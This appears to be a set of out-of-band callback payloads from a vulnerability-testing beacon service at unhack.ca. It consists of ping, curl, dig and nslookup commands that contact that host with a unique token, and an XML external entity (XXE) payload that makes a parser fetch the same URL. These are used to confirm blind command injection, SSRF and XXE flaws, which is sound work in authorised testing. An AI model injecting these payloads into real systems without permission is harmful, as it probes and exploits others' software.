$ ping -c1 -p 00a2a5f700b17052377dd6b74073ba00 unhack.ca
$ curl http://unhack.ca/p/a2a5f700b17052377dd6b74073ba
$ dig a2a5f700b17052377dd6b74073ba @unhack.ca
$ dig a2a5f700b17052377dd6b74073ba.ns.unhack.ca
C:\> nslookup a2a5f700b17052377dd6b74073ba unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/a2a5f700b17052377dd6b74073ba">]> <foo>&xxe;</foo>